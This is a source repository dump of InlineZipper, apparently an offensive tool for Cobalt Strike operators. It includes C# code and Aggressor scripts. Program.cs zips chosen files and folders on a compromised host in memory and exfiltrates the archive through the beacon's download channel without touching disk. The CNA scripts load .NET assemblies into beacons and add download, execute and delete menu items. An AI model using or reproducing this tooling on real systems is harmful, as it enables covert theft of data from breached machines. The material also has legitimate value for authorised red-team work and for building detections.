├── .gitignore ├── InlineZipper ├── InlineZipper.sln ├── InlineZipper │ ├── App.config │ ├── InlineZipper.csproj │ ├── Program.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── dnMerge.config │ └── packages.config └── packages │ ├── BOFNET.1.1.1 │ ├── .signature.p7s │ ├── BOFNET.1.1.1.nupkg │ └── lib │ │ ├── bofnet.cna │ │ ├── bofnet_execute.cpp.x64.obj │ │ ├── bofnet_execute.cpp.x86.obj │ │ ├── net35 │ │ └── BOFNET.dll │ │ └── net40 │ │ └── BOFNET.dll │ ├── DotNetZip.1.16.0 │ ├── .signature.p7s │ ├── DotNetZip.1.16.0.nupkg │ └── lib │ │ ├── net40 │ │ ├── DotNetZip.dll │ │ ├── DotNetZip.pdb │ │ └── DotNetZip.xml │ │ └── netstandard2.0 │ │ ├── DotNetZip.dll │ │ ├── DotNetZip.pdb │ │ └── DotNetZip.xml │ └── dnMerge.0.5.15 │ ├── .signature.p7s │ ├── build │ └── dnMerge.targets │ ├── buildMultiTargeting │ └── dnMerge.targets │ ├── dnMerge.0.5.15.nupkg │ └── tasks │ ├── net472 │ └── dnMerge.dll │ └── netstandard2.1 │ └── dnMerge.dll ├── README.md └── cna └── inlinezipper.cna /.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Oo]bj/ 5 | [Bb]in/ 6 | .DS_Store -------------------------------------------------------------------------------- /InlineZipper/InlineZipper.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31424.327 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "InlineZipper", "InlineZipper\InlineZipper.csproj", "{141B6C00-BEBF-44E0-BAF9-63F43E85A1AB}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {141B6C00-BEBF-44E0-BAF9-63F43E85A1AB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {141B6C00-BEBF-44E0-BAF9-63F43E85A1AB}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {141B6C00-BEBF-44E0-BAF9-63F43E85A1AB}.Debug|x64.ActiveCfg = Debug|x64 19 | {141B6C00-BEBF-44E0-BAF9-63F43E85A1AB}.Debug|x64.Build.0 = Debug|x64 20 | {141B6C00-BEBF-44E0-BAF9-63F43E85A1AB}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {141B6C00-BEBF-44E0-BAF9-63F43E85A1AB}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {141B6C00-BEBF-44E0-BAF9-63F43E85A1AB}.Release|x64.ActiveCfg = Release|x64 23 | {141B6C00-BEBF-44E0-BAF9-63F43E85A1AB}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {A4FE23A4-5564-4285-B683-00D5EE991493} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /InlineZipper/InlineZipper/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /InlineZipper/InlineZipper/InlineZipper.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {141B6C00-BEBF-44E0-BAF9-63F43E85A1AB} 8 | Exe 9 | InlineZipper 10 | InlineZipper 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | 19 | AnyCPU 20 | true 21 | full 22 | false 23 | bin\Debug\ 24 | DEBUG;TRACE 25 | prompt 26 | 4 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | DEBUG;TRACE 41 | full 42 | x64 43 | 7.3 44 | prompt 45 | true 46 | 47 | 48 | bin\x64\Release\ 49 | TRACE 50 | true 51 | pdbonly 52 | x64 53 | 7.3 54 | prompt 55 | true 56 | 57 | 58 | 59 | ..\packages\BOFNET.1.1.1\lib\net40\BOFNET.dll 60 | 61 | 62 | ..\packages\DotNetZip.1.16.0\lib\net40\DotNetZip.dll 63 | True 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}. 89 | 90 | 91 | 92 | -------------------------------------------------------------------------------- /InlineZipper/InlineZipper/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Threading; 4 | using BOFNET; 5 | using Ionic.Zip; 6 | 7 | namespace InlineZipper 8 | { 9 | 10 | class Execute : BeaconObject 11 | { 12 | public Execute(BeaconApi api) : base(api) { } 13 | public volatile static Mutex mutex = new Mutex(); 14 | 15 | internal static bool FileOrDirectoryExists(string name) 16 | { 17 | return (Directory.Exists(name) || File.Exists(name)); 18 | } 19 | 20 | // From github.com/williamknows/SharpHound3 21 | public void PassDownloadFile(string filename, ref MemoryStream fileStream) 22 | { 23 | mutex.WaitOne(); 24 | 25 | try 26 | { 27 | DownloadFile(filename, fileStream); 28 | } 29 | catch (Exception ex) 30 | { 31 | BeaconConsole.WriteLine(String.Format("[!] BOF.NET Exception during DownloadFile(): {0}.", ex)); 32 | } 33 | 34 | mutex.ReleaseMutex(); 35 | } 36 | 37 | public override void Go(string[] args) 38 | { 39 | 40 | BeaconConsole.WriteLine(@" ____ ___ _____ _ 41 | / _/___ / (_)___ __/__ / (_)___ ____ ___ _____ 42 | / // __ \/ / / __ \/ _ \/ / / / __ \/ __ \/ _ \/ ___/ 43 | _/ // / / / / / / / / __/ /__/ / /_/ / /_/ / __/ / 44 | /___/_/ /_/_/_/_/ /_/\___/____/_/ .___/ .___/\___/_/ 45 | /_/ /_/ 46 | by @guervild 47 | "); 48 | if (args.Length < 1) 49 | { 50 | BeaconConsole.WriteLine("[!] Missing argument. You must at least pass one file or directory to zip !"); 51 | return; 52 | } 53 | 54 | String zipName = $"{DateTime.Now:yyyyMMddHHmmss}_{Path.GetRandomFileName()}.zip"; 55 | 56 | using (var zip = new Ionic.Zip.ZipFile()) 57 | { 58 | 59 | zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; 60 | 61 | foreach (string arg in args) 62 | { 63 | if (FileOrDirectoryExists(arg) == false) 64 | { 65 | BeaconConsole.WriteLine($"[!] Argument passed does not exists : {arg}"); 66 | return; 67 | } 68 | else 69 | { 70 | Console.WriteLine(FileOrDirectoryExists(arg)); 71 | 72 | string path = Path.GetFullPath(arg); 73 | 74 | Console.WriteLine(path); 75 | 76 | FileAttributes attr = File.GetAttributes(path); 77 | 78 | //detect whether its a directory or file 79 | if ((attr & FileAttributes.Directory) == FileAttributes.Directory) 80 | { 81 | DirectoryInfo dirInfo = new System.IO.DirectoryInfo(arg); 82 | 83 | BeaconConsole.WriteLine($"[+] Argument passed is a directory"); 84 | BeaconConsole.WriteLine($" |_ Path : {dirInfo.FullName}"); 85 | BeaconConsole.WriteLine($" |_ Last Write Time : {dirInfo.LastWriteTimeUtc} UTC"); 86 | 87 | try 88 | { 89 | zip.AddDirectory(arg, System.IO.Path.GetFileName(arg)); 90 | } 91 | catch (Exception e) 92 | { 93 | BeaconConsole.WriteLine($"[!] Caught exception while adding directory : {e}"); 94 | } 95 | } 96 | else 97 | { 98 | FileInfo fInfo = new System.IO.FileInfo(arg); 99 | 100 | BeaconConsole.WriteLine($"[+] Argument passed is a file"); 101 | BeaconConsole.WriteLine($" |_ Path : {arg}"); 102 | BeaconConsole.WriteLine($" |_ Size : {fInfo.Length} bytes"); 103 | BeaconConsole.WriteLine($" |_ Last Write Time : {fInfo.LastWriteTimeUtc} UTC"); 104 | 105 | try 106 | { 107 | zip.AddFile(arg, ""); 108 | } 109 | catch (Exception e) 110 | { 111 | BeaconConsole.WriteLine($"[!] Caught exception while adding file : {e}"); 112 | } 113 | } 114 | } 115 | } 116 | 117 | var mem = new MemoryStream(); 118 | 119 | zip.Save(mem); 120 | 121 | mem.Position = 0; 122 | 123 | PassDownloadFile(zipName, ref mem); 124 | 125 | BeaconConsole.WriteLine($"[+] Succcessfull download"); 126 | BeaconConsole.WriteLine($" |_ Zip Name : {zipName}"); 127 | BeaconConsole.WriteLine($" |_ Size : {mem.Length} bytes"); 128 | 129 | mem.Close(); 130 | 131 | } 132 | } 133 | 134 | static void Main(string[] args) 135 | { 136 | } 137 | } 138 | } -------------------------------------------------------------------------------- /InlineZipper/InlineZipper/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // Les informations générales relatives à un assembly dépendent de 6 | // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations 7 | // associées à un assembly. 8 | [assembly: AssemblyTitle("InlineZipper")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("InlineZipper")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly 18 | // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de 19 | // COM, affectez la valeur true à l'attribut ComVisible sur ce type. 20 | [assembly: ComVisible(false)] 21 | 22 | // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM 23 | [assembly: Guid("141b6c00-bebf-44e0-baf9-63f43e85a1ab")] 24 | 25 | // Les informations de version pour un assembly se composent des quatre valeurs suivantes : 26 | // 27 | // Version principale 28 | // Version secondaire 29 | // Numéro de build 30 | // Révision 31 | // 32 | // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut 33 | // en utilisant '*', comme indiqué ci-dessous : 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /InlineZipper/InlineZipper/dnMerge.config: -------------------------------------------------------------------------------- 1 | 2 | false 3 | true 4 | 5 | bofnet.dll 6 | 7 | -------------------------------------------------------------------------------- /InlineZipper/InlineZipper/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /InlineZipper/packages/BOFNET.1.1.1/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/BOFNET.1.1.1/.signature.p7s -------------------------------------------------------------------------------- /InlineZipper/packages/BOFNET.1.1.1/BOFNET.1.1.1.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/BOFNET.1.1.1/BOFNET.1.1.1.nupkg -------------------------------------------------------------------------------- /InlineZipper/packages/BOFNET.1.1.1/lib/bofnet.cna: -------------------------------------------------------------------------------- 1 | # beacons 2 | beacon_command_register("bofnet_init", "Initialize beacon ready to run BOFNET", "Synopsis: bofnet_init \nInitialize beacon ready to run BOFNET"); 3 | beacon_command_register("bofnet_shutdown", "Shutdown the BOFNET AppDomain", "Synopsis: bofnet_shutdown \nShutdown the BOFNET AppDomain"); 4 | beacon_command_register("bofnet_list", "List all executable BOFNET's available", "Synopsis: bofnet_list \nList all executable BOFNET's available"); 5 | beacon_command_register("bofnet_listassemblies", "List all loadded assembiles inside BOFNET", "Synopsis: bofnet_listassemblies \nList all loadded assembiles inside BOFNET"); 6 | beacon_command_register("bofnet_execute", "Execute a BOFNET class", "Synopsis: bofnet_execute class arg1 arg2 ...\nExecute's a BOFNET class along with all arguments supplied. Arguments with spaces should be quoted.\n"); 7 | beacon_command_register("bofnet_load", "Load a .NET assembly containing additional BOFNET classes", "Synopsis: bofnet_load assembly_path\nLoad a .NET assembly containing additional BOFNET classes\n"); 8 | beacon_command_register("bofnet_loadbig", "Loads assemblies larger than the 1M limit by chunking the data", "Synopsis: bofnet_loadbig assembly_path\nLoads assemblies larger than the 1M limit by chunking the data\n"); 9 | beacon_command_register("bofnet_job", "Execute a BOFNET class as a background job in a seperate threead", "Synopsis: bofnet_job class arg1 arg2\nExecute a BOFNET class as a background job\n"); 10 | beacon_command_register("bofnet_jobs", "List active BOFNET background jobs", "Synopsis: bofnet_jobs\nList active BOFNET background jobs\n"); 11 | beacon_command_register("bofnet_jobstatus", "Dump the console buffer of an active BOFNET background job", "Synopsis: bofnet_jobstatus jobid\nDump the console buffer of an active BOFNET background job\n"); 12 | beacon_command_register("bofnet_jobkill", "Kills a running jobs thread (warning, could leave leaked resources/sockets behind", "Synopsis: bofnet_jobkill jobid\nKills a running jobs thread (warning, could leave leaked resources/sockets behind\n"); 13 | beacon_command_register("bofnet_boo", "Runs a Boo script in a temporary AppDomain which is then unloaded", "Synopsis: bofnet_boo filename.boo\nRuns a Boo script in a temporary AppDomain which is then unloaded\n"); 14 | 15 | 16 | 17 | sub readAllFileData { 18 | $fileHandle = openf($1); 19 | $fileData = readb($fileHandle, -1); 20 | closef($fileHandle); 21 | return $fileData; 22 | } 23 | 24 | sub addQuotes { 25 | $result = ""; 26 | $idx = 0; 27 | foreach $entry ($1){ 28 | $entry = matches($entry, '\s*(.*)')[0]; 29 | $result = $result . "\"$entry\""; 30 | if($idx != size($1) - 1){ 31 | $result = $result . " "; 32 | } 33 | $idx++; 34 | } 35 | return $result; 36 | } 37 | 38 | sub loadBOFNativeRuntime { 39 | 40 | $nativeBOFPath = script_resource('bofnet_execute.cpp.'.barch($1).'.obj') ; 41 | 42 | if(-exists $nativeBOFPath){ 43 | return readAllFileData($nativeBOFPath); 44 | }else{ 45 | blog($1, "[!] The BOFNET native runtime file $nativeBOFPath doesn't exist"); 46 | return $null; 47 | } 48 | } 49 | 50 | sub bofnet_execute_raw{ 51 | 52 | $bofnetNative = loadBOFNativeRuntime($1); 53 | if($bofnetNative != $null){ 54 | return; 55 | } 56 | 57 | beacon_inline_execute($1, $bofnetNative, "go", "$2\x00".$3); 58 | } 59 | 60 | # Not secure random string by any means! 61 | sub generateRandomString { 62 | 63 | $validChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; 64 | $validCharsCount = strlen($validChars); 65 | $randomString = ""; 66 | 67 | for( $idx = 0; $idx < $1; $idx++){ 68 | $randomString = $randomString . charAt($validChars, rand($validCharsCount)); 69 | } 70 | 71 | return $randomString; 72 | } 73 | 74 | alias bofnet_init { 75 | $bofnetNative = loadBOFNativeRuntime($1); 76 | if($bofnetNative != $null){ 77 | return; 78 | } 79 | 80 | $bofnetRuntime = readAllFileData(script_resource('BOFNET.dll')); 81 | 82 | btask($1, "Initializing BOFNET"); 83 | beacon_inline_execute($1, $bofnetNative, "go", "BOFNET.Bofs.Initializer\x00".$bofnetRuntime); 84 | } 85 | 86 | alias bofnet_shutdown { 87 | $bofnetNative = loadBOFNativeRuntime($1); 88 | if($bofnetNative != $null){ 89 | return; 90 | } 91 | 92 | btask($1, "Shuting down BOFNET"); 93 | beacon_inline_execute($1, $bofnetNative, "go", "BOFNET.Bofs.Shutdown\x00"); 94 | } 95 | 96 | alias bofnet_list { 97 | $bofnetNative = loadBOFNativeRuntime($1); 98 | if($bofnetNative != $null){ 99 | return; 100 | } 101 | 102 | btask($1, "Listing BOFNET classes"); 103 | beacon_inline_execute($1, $bofnetNative, "go", "BOFNET.Bofs.List\x00"); 104 | } 105 | 106 | alias bofnet_listassemblies { 107 | $bofnetNative = loadBOFNativeRuntime($1); 108 | if($bofnetNative != $null){ 109 | return; 110 | } 111 | 112 | btask($1, "Listing loaded BOFNET assemblies"); 113 | beacon_inline_execute($1, $bofnetNative, "go", "BOFNET.Bofs.ListAssemblies\x00"); 114 | } 115 | 116 | alias bofnet_execute { 117 | 118 | $bofnetNative = loadBOFNativeRuntime($1); 119 | if($bofnetNative != $null){ 120 | return; 121 | } 122 | $bofArguments = "\x00"; 123 | 124 | @argParts = sublist(@_,2); 125 | if(size(@argParts) > 0){ 126 | $bofArguments = " ".addQuotes(@argParts)."\x00"; 127 | } 128 | 129 | btask($1, "Attempting to execute BOFNET $2"); 130 | beacon_inline_execute($1, $bofnetNative, "go", $2.$bofArguments); 131 | } 132 | 133 | alias bofnet_load{ 134 | 135 | local('$assemblyData'); 136 | 137 | # 900k chunks sent to leave room for protocol data too 138 | $chunkSize = 1024 * 900 ; 139 | 140 | if(-exists $2){ 141 | $assemblyData = readAllFileData($nativeBOFPath); 142 | }else{ 143 | blog($1, "[!] The file $2 doesn't seem to exist, missing quotes by any chance?"); 144 | return; 145 | } 146 | 147 | btask($1, "Attempting to load large .NET assembly $2 into BOFNET"); 148 | $rawData = readAllFileData($2); 149 | $numChunks = strlen($rawData) / $chunkSize; 150 | $remainder = strlen($rawData) % $chunkSize; 151 | $id = generateRandomString(8); 152 | 153 | for($i = 0; $i < $numChunks; $i++){ 154 | $chunk = substr($rawData, $i * $chunkSize, ($i * $chunkSize) + $chunkSize); 155 | $assemblyData = bof_pack($1, "Zib", $id , $chunkSize, $chunk) ; 156 | bofnet_execute_raw($1, "BOFNET.Bofs.AssemblyLoader", $assemblyData); 157 | } 158 | 159 | if($remainder > 0){ 160 | $chunk = substr($rawData, $numChunks * $chunkSize, ($numChunks * $chunkSize) + $remainder + 1); 161 | $assemblyData = bof_pack($1, "Zib", $id , $chunkSize, $chunk) ; 162 | bofnet_execute_raw($1, "BOFNET.Bofs.AssemblyLoader", $assemblyData); 163 | } 164 | } 165 | 166 | alias bofnet_job { 167 | 168 | $bofnetNative = loadBOFNativeRuntime($1); 169 | if($bofnetNative != $null){ 170 | return; 171 | } 172 | $bofArguments = "\x00"; 173 | 174 | @argParts = sublist(@_,2); 175 | if(size(@argParts) > 0){ 176 | $bofArguments = " ".addQuotes(@argParts)."\x00"; 177 | } 178 | 179 | btask($1, "Attempting to start BOFNET $2 as a job"); 180 | beacon_inline_execute($1, $bofnetNative, "go", "BOFNET.Bofs.Jobs.JobRunner ".$2.$bofArguments); 181 | 182 | } 183 | 184 | alias bofnet_jobs { 185 | fireAlias($1, "bofnet_execute", "BOFNET.Bofs.Jobs.JobList"); 186 | } 187 | 188 | alias bofnet_jobstatus { 189 | fireAlias($1, "bofnet_execute", "BOFNET.Bofs.Jobs.JobStatus ".$2); 190 | } 191 | 192 | alias bofnet_jobkill { 193 | fireAlias($1, "bofnet_execute", "BOFNET.Bofs.Jobs.JobKill ".$2); 194 | } 195 | 196 | alias bofnet_boo { 197 | 198 | local('$booCode @argParts $scriptArgs'); 199 | 200 | $booCode = readAllFileData($2); 201 | $scriptArgs = ""; 202 | 203 | @argParts = sublist(@_,2); 204 | if(size(@argParts) > 0){ 205 | $scriptArgs = addQuotes(@argParts); 206 | } 207 | 208 | $args = bof_pack($bid, "bZ", $booCode , $scriptArgs); 209 | 210 | blog ($1, "Executing script $2 with the following arguments: $scriptArgs"); 211 | bofnet_execute_raw($1, "BOFNET.Bofs.Boo.BooRunner", $args); 212 | } -------------------------------------------------------------------------------- /InlineZipper/packages/BOFNET.1.1.1/lib/bofnet_execute.cpp.x64.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/BOFNET.1.1.1/lib/bofnet_execute.cpp.x64.obj -------------------------------------------------------------------------------- /InlineZipper/packages/BOFNET.1.1.1/lib/bofnet_execute.cpp.x86.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/BOFNET.1.1.1/lib/bofnet_execute.cpp.x86.obj -------------------------------------------------------------------------------- /InlineZipper/packages/BOFNET.1.1.1/lib/net35/BOFNET.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/BOFNET.1.1.1/lib/net35/BOFNET.dll -------------------------------------------------------------------------------- /InlineZipper/packages/BOFNET.1.1.1/lib/net40/BOFNET.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/BOFNET.1.1.1/lib/net40/BOFNET.dll -------------------------------------------------------------------------------- /InlineZipper/packages/DotNetZip.1.16.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/DotNetZip.1.16.0/.signature.p7s -------------------------------------------------------------------------------- /InlineZipper/packages/DotNetZip.1.16.0/DotNetZip.1.16.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/DotNetZip.1.16.0/DotNetZip.1.16.0.nupkg -------------------------------------------------------------------------------- /InlineZipper/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.dll -------------------------------------------------------------------------------- /InlineZipper/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/DotNetZip.1.16.0/lib/net40/DotNetZip.pdb -------------------------------------------------------------------------------- /InlineZipper/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.dll -------------------------------------------------------------------------------- /InlineZipper/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.pdb -------------------------------------------------------------------------------- /InlineZipper/packages/dnMerge.0.5.15/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/dnMerge.0.5.15/.signature.p7s -------------------------------------------------------------------------------- /InlineZipper/packages/dnMerge.0.5.15/build/dnMerge.targets: -------------------------------------------------------------------------------- 1 |  5 | 6 | 7 | netstandard2.1 8 | net472 9 | $(MSBuildThisFileDirectory)..\tasks\$(TaskFolder)\dnMerge.dll 10 | $(MSBuildThisFileDirectory)..\tasks\net472\dnMerge.dll 11 | 12 | 13 | 14 | 15 | 16 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /InlineZipper/packages/dnMerge.0.5.15/buildMultiTargeting/dnMerge.targets: -------------------------------------------------------------------------------- 1 |  5 | 6 | 7 | -------------------------------------------------------------------------------- /InlineZipper/packages/dnMerge.0.5.15/dnMerge.0.5.15.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/dnMerge.0.5.15/dnMerge.0.5.15.nupkg -------------------------------------------------------------------------------- /InlineZipper/packages/dnMerge.0.5.15/tasks/net472/dnMerge.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/dnMerge.0.5.15/tasks/net472/dnMerge.dll -------------------------------------------------------------------------------- /InlineZipper/packages/dnMerge.0.5.15/tasks/netstandard2.1/dnMerge.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guervild/InlineZipper/dc6afe9fb918c70516b74633f1b7e9a4d89e51a6/InlineZipper/packages/dnMerge.0.5.15/tasks/netstandard2.1/dnMerge.dll -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # InlineZipper 2 | 3 | InlineZipper is a BOF.NET that allows operators to compress files and folders in memory, and download it without touching the disk. 4 | 5 | It is inspired by @Outflanknl's [Zipper](https://github.com/outflanknl/Zipper) project, and uses BOF.NET's DownloadFile API. 6 | 7 | Zip operation is performed using [DotNetZip](https://github.com/haf/DotNetZip.Semverd) 8 | 9 | ## Usage 10 | 11 | First, you must compile [BOF.NET](https://github.com/CCob/BOF.NET) from @CCob and load the bofnet.cna. 12 | 13 | A bofnet.dll is added to the project but you can replace it with the one you compiled. 14 | 15 | InlineZipper uses [dnMerge](https://github.com/CCob/dnMerge) from @CCob to merge the assemblies: it must be a release build to get the assemblies merged. 16 | 17 | Once you compiled the InlineZipper project, you can execute as follows: 18 | ``` 19 | bofnet_init 20 | bofnet_load /path/to/InlineZipper.exe 21 | bofnet_execute InlineZipper.Execute <...> 22 | ``` 23 | 24 | An example of a CNA that uses InlineZipper is provided, you must initialize BOF.NET and load the assembly before using it. 25 | 26 | ## Acknowledgments 27 | 28 | [Zipper](https://github.com/outflanknl/Zipper) from @Outflanknl 29 | 30 | [BOF.NET](https://github.com/CCob/BOF.NET) and [dnMerge](https://github.com/CCob/dnMerge) from @CCob 31 | 32 | [DotNetZip](https://github.com/haf/DotNetZip.Semverd) from @haf -------------------------------------------------------------------------------- /cna/inlinezipper.cna: -------------------------------------------------------------------------------- 1 | # 2 | # safe delete in file browser right-click menu 3 | # 4 | popup_clear("filebrowser"); 5 | 6 | popup filebrowser { 7 | item "&Download" { 8 | local('$file'); 9 | foreach $file ($3) { 10 | bdownload($1, "$2 $+ \\ $+ $file"); 11 | } 12 | } 13 | 14 | item "&Execute" { 15 | prompt_text("Arguments?", "", lambda({ 16 | foreach $file ($files) { 17 | bexecute($bid, "$folder $+ \\ $+ $file" . iff($1 ne "", " $1")); 18 | } 19 | }, $bid => $1, $folder => $2, $files => $3)); 20 | } 21 | 22 | separator(); 23 | 24 | item "D&elete" { 25 | prompt_confirm("Do you really want to delete stuff", "Safety Check", lambda({ 26 | local('$file'); 27 | foreach $file ($files) { 28 | brm($bid, "$folder $+ \\ $+ $file"); 29 | } 30 | 31 | # force a refresh on the file browser. 32 | [$browser ls: $folder]; 33 | }, $bid => $1, $folder => $2, $files => $3, $browser => $4)); 34 | } 35 | 36 | separator(); 37 | 38 | item "&InlineZipper" { 39 | local('$file $args'); 40 | foreach $file ($3) { 41 | println($2); 42 | $args = $args ." $2 $+ \\ $+ $file"; 43 | } 44 | 45 | blog($1, "[T1560.001] - InlineZipper - Compressing selected file(s)/folder(s) '". $args ."'"); 46 | 47 | $args = "InlineZipper.Execute " . $args; 48 | 49 | fireAlias($1, "bofnet_execute", $args); 50 | } 51 | } 52 | --------------------------------------------------------------------------------